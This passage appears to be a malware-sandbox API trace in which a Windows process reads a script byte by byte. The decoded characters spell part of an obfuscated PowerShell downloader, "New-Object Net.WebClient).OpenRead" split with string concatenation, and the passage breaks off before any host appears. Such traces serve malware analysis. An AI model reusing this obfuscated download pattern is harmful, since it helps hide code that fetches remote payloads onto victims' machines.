lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.878] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4aa, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0103.878] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.878] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.878] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.878] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4ac, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0103.878] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.878] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.878] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.878] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4ae, cchWideChar=1 | out: lpWideCharStr="(") returned 1 [0103.878] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.878] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.878] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.879] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4b0, cchWideChar=1 | out: lpWideCharStr="(") returned 1 [0103.879] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.879] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.879] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.879] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4b2, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0103.879] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.879] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.879] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.879] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4b4, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0103.879] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.879] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.879] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.879] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4b6, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0103.879] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.879] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.879] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.879] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4b8, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0103.879] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.879] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.879] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.879] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4ba, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0103.879] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.879] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.879] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.880] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4bc, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0103.880] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.880] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.880] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.880] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4be, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0103.880] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.880] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.880] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.880] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4c0, cchWideChar=1 | out: lpWideCharStr="W") returned 1 [0103.880] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.880] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.880] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.880] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4c2, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.880] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.880] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.880] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.880] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4c4, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0103.880] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.880] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.880] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.880] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4c6, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.880] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.880] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.880] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.880] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4c8, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0103.880] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.880] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.880] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.881] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4ca, cchWideChar=1 | out: lpWideCharStr="b") returned 1 [0103.881] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.881] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.881] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.881] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4cc, cchWideChar=1 | out: lpWideCharStr="C") returned 1 [0103.881] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.881] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.881] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.881] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4ce, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.881] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.881] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.881] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.881] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4d0, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0103.881] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.881] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.881] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.881] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4d2, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.881] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.881] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.881] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.881] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4d4, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0103.881] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.881] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.881] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.882] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4d6, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0103.882] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.882] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.882] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.882] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4d8, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0103.882] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.882] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.882] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.882] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4da, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0103.882] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.882] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.882] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.882] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4dc, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0103.882] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.882] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.882] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.882] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4de, cchWideChar=1 | out: lpWideCharStr=")") returned 1 [0103.882] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.882] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.882] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.882] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4e0, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0103.882] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.882] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.882] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.882] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4e2, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.882] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.882] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.883] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.883] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4e4, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0103.883] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.883] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.883] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.883] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4e6, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.883] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.883] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.883] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.883] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4e8, cchWideChar=1 | out: lpWideCharStr="O") returned 1 [0103.883] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.883] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.883] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.883] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4ea, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0103.883] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.883] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.883] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.883] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4ec, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0103.883] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.883] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.883] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.883] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4ee, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0103.883] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.883] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.883] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.883] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4f0, cchWideChar=1 | out: lpWideCharStr="R") returned 1 [0103.883] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.883] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.884] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.884] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4f2, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0103.884] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.884] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.884] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.884] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4f4, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0103.884] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.884] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.884] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.884] 